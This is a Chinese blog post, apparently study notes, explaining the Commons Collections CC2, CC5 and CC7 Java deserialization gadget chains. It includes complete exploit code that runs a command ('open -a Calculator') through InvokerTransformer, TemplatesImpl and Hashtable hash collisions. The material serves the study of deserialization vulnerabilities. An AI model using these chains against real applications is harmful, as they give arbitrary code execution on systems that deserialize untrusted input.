最后几个链子,不算很难,写在一篇文章了,速战速决!
CC2
环境
CC2分析
这次CC2和CC4有点像,前面部分差不多,中间用回了InvokerTransformer.transform()
,最后也还是用TemplatesImpl
加载字节码
主要是从原来的chainTransformer.transfrom()->InstantiateTransformer.transform()->TrAXFilter()->TemplatesImpl.newTransformer()
这一段直接替换成用InvokerTransformer.transform()
触发TemplatesImpl.newTransformer()
画了张图和CC4做对比

那EXP主要就是修改原来的ChainedTransformer
,直接用InvokerTransformer
结合transform调用反射调用newTransformer()
方法
EXP编写
把原来的
1 2 3 4 5
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{TemplatesImpl.class},new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
变成现在的
1
| InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
|
最后代码这么写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","Calc"); setFieldValue(templates,"_bytecodes",new byte[][]{calc});
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(templates);
Class c = transformingComparator.getClass(); Field transformingField = c.getDeclaredField("transformer"); transformingField.setAccessible(true); transformingField.set(transformingComparator, invokerTransformer);
serialize(priorityQueue); unserialize("ser.txt"); }
|
学到后面会发现利用类加载可以不用再写下面这句
1
| setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
|
因为在反序列化的时候readObject会自动给_tfactory
赋值,只有直接调用类加载的时候才需给他赋值
CC5
CC5分析
直接看yso给的链条,后部分和CC1后部分差不多,从LazyMap.get()
直到最后,不同的是这次调用LazyMap.get()
的是TiedMapEntry.toString()

里面调用了getValue()
->map.get()
,接上了LazyMap.get()

从toString往前找,作者给出的是BadAttributeValueExpException
的readObject

链子大概就是这样,还是很直观的

EXP编写
前面部分是和CC1一样的,直接拿过来,这个比较简单,直接给出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>(); Map decoratedMap = LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratedMap,null);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c = Class.forName("javax.management.BadAttributeValueExpException"); Field valField = c.getDeclaredField("val"); valField.setAccessible(true); valField.set(badAttributeValueExpException,tiedMapEntry);
serialize(badAttributeValueExpException); unserialize("ser.txt");
} public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
|
CC7
CC7分析
直接看yso给出的链条,后半部分还是从LazyMap.get()
入手,前面部分从前看,这次用到的是hashtable
,他的readObject里有一个reconstitutionPut
,调用到AbstractMapDecorator.equals
->AbstractMap.equals
->LazyMap.get()
流程还是比较直观的,比较难的是要控制里面e.key
之类的这些值,后面编写exp的时候再解决

EXP编写
前面部分直接搬前面CC1的(要多回顾,不然容易忘了),后面跳过AbstractMapDecorator
,尝试直接引入hashtable
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public static void main(String[] args) throws IOException, ClassNotFoundException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>(); Map decoratedMap = LazyMap.decorate(map, chainedTransformer); Hashtable hashtable = new Hashtable(); hashtable.put(decoratedMap,"value"); serialize(hashtable); unserialize("ser.txt");
}
|
按理说这样是没问题的,引入了hashtable,把LazyMap也包了进去,但是没有如愿弹出计算机
尝试打一个断点,发现在hashtable里reconstitutionPut
连for循环都没有进

hashtable的触发要满足一些条件,还挺复杂的,先看最终代码再一个一个解释为什么吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap<Object, Object> hashMap1 = new HashMap<>(); HashMap<Object, Object> hashMap2 = new HashMap<>();
Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer); decorateMap1.put("yy", 1); Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer); decorateMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable(); hashtable.put(decorateMap1, 1); hashtable.put(decorateMap2, 1);
Class c = ChainedTransformer.class; Field field = c.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chainedTransformer, transformers); decorateMap2.remove("yy");
serialize(hashtable); unserialize("ser.txt");
}
|
问题解决
readObject先创建一个Entry,然后进入for循环读取key,value,顺便调用reconstitutionPut

进入到这个方法后首先通过key计算一个hash值,用这个hash再计算出一个index,这个index是前面readObject里面创建的Entry的索引。
然后判断当前索引处是否有对象,如果有,就进入for循环判断两个对象是否相等,如果没有,通过当前key的hash,以及key,value,和当前数组节点的Entry新建一个Entry挂入当前索引处。
所以我们需要让Entry数组当前索引处的对象哈希
=将要挂入的对象哈希
,这样才能调用e.key.equals
从而进入我们的调用链。

- 为什么有两个decorateMap,为什么分别给他们的key这么赋值
reconstitutionPut
是被遍历调用,第一次调用的时候tab[index]
内容是空的,在方法最下面会给它赋一个值。第二次进入这个方法后它就不是空,此时的变量分别是
tab[index] -> 在上一轮for被赋值后,可以把它当成decorateMap1
e -> decorateMap2
而第二次调用reconstitutionPut的时候传入的key value对应decorateMap2的key value
所以为了判断能够进入e.key.equals(key)
,要先使e.hash == hash
decorateMap1.hash -> decorateMap1.key.hashcode()
也就是decorateMap1和decorateMap2两个的key作hashcode()处理后的值相等才能过判断
这里利用到java的一个小bug,”yy”和”zZ”做hashcode处理后值是一样的

然后后面HashTable.put()
会调用 equals()
,调用完 equals()
后,decorateMap2会多增加一个yy键,那就不能满足后面的判断了,删了!

这个和之前的链子遇到的很像,put的过程中就会走到后面预期的链子,这个时候不想让他有反应,就先让操作对象里面没有要执行的的命令,先是个常数,后面再改回来
主要参考
https://drun1baby.top/2022/06/29/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8708-CC7%E9%93%BE
http://myblog.ac.cn/archives/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bcommoncollections7%E5%88%A9%E7%94%A8%E9%93%BE
最后
文章中有任何理解不对的地方,非常欢迎师傅指正🙏